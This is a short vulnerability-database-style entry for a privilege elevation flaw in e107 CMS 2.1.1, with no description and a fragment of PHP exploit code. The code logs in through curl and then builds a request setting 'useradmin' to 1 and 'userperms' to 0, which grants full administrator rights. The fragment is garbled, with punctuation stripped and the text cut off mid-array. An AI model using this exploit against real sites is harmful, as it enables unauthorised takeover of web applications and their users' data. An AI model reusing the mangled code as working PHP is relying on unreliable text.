e107 CMS-2.1.1 privilege elevation vulnerability

No description provided by source. $login, 'userpass' = $pass, 'userlogin' = 'Sign In'; curlsetopt$ch, CURLOPTPOST, 1; $content = curlexec$ch; if strpos$content, '?logout' === false die"Cannot login"; $data = array; $data'useradmin' = 1; $data'userperms' = 0; $data'userpassword' = md5$pass;...